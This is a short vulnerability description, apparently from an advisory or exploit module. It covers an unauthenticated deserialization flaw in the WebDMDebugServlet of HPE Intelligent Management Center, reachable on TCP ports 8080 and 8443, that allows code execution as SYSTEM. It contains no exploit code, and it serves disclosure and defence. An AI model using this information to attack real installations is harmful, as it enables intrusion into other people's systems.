          This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
          Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
          this vulnerability.

          The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
          default. The issue results from the lack of proper validation of user-supplied data, which can result
          in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
          code in the context of SYSTEM.
